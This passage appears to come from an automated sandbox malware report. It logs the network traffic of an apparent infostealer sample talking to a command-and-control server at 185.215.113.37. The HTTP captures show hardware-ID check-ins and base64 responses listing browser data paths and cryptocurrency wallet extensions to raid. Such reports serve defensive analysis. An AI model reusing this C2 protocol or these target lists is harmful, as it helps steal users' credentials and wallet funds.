Oct 8, 2024 00:13:35.219470024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219482899 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219540119 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.219551086 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219563007 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219573975 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219583988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219590902 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.219595909 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219609976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.219625950 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.219939947 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343024969 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343036890 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343095064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343122959 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343591928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343597889 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343599081 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343669891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343671083 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343682051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343688965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343696117 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343700886 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343717098 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343720913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343785048 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343844891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343854904 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343859911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343877077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343877077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343931913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343940973 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343952894 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343957901 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343965054 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343976974 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.343981028 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.343983889 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.344011068 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.344064951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.918946028 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.919030905 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:35.926093102 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:35.926115036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:36.630650043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:36.631117105 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:36.749667883 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:36.756639004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:36.967756987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:36.967803955 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:36.967916965 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:37.050009012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:37.050021887 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:37.050121069 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:37.052756071 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:37.060033083 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:37.270189047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:37.270961046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:37.287003994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:37.294198036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:37.995206118 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:37.995295048 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:38.024102926 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:38.030982018 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247093916 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247107983 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247123957 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247128963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247134924 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247139931 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247150898 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247157097 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247162104 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247167110 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247174025 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.247345924 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:38.251075983 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:38.258409977 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.950078011 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:38.950212002 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:43.771815062 CEST	49704	80	192.168.2.8	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.215.113.37	80	2672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:13:18.438278913 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 00:13:19.110064983 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:19.114465952 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJ Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 31 39 37 46 39 31 35 38 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="hwid"A1197F9158EA20379026------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="build"doma------DHJKJKKKJJJKJKFHJJJJ--
Oct 8, 2024 00:13:19.348330021 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 6b 32 5a 6a 51 31 4d 44 45 30 4e 44 4d 7a 4d 57 5a 68 4e 32 45 35 4d 47 45 79 4e 57 45 7a 4d 44 51 33 4d 44 55 31 4f 47 49 32 5a 54 42 6c 5a 44 41 32 4e 44 64 6c 5a 47 46 69 5a 57 4e 6c 59 54 4e 6c 4d 54 56 6d 4d 6a 46 68 5a 6a 41 7a 5a 57 52 6d 4f 44 46 6c 5a 44 59 77 4d 44 46 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDk2ZjQ1MDE0NDMzMWZhN2E5MGEyNWEzMDQ3MDU1OGI2ZTBlZDA2NDdlZGFiZWNlYTNlMTVmMjFhZjAzZWRmODFlZDYwMDFkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 8, 2024 00:13:19.349894047 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKKEHDHCBFIEBFBGID Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 2d 2d 0d 0a Data Ascii: ------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="message"browsers------DBKKKEHDHCBFIEBFBGID--
Oct 8, 2024 00:13:19.567012072 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 00:13:19.567259073 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 00:13:19.568439960 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFBGDBKJKECAAKKFH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="message"plugins------CFCBFBGDBKJKECAAKKFH--
Oct 8, 2024 00:13:19.787482023 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 8, 2024 00:13:19.787518978 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Oct 8, 2024 00:13:19.787538052 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Oct 8, 2024 00:13:19.787554979 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 8, 2024 00:13:19.787571907 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 8, 2024 00:13:19.787581921 CEST	672	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 8, 2024 00:13:19.788256884 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Oct 8, 2024 00:13:19.788357973 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
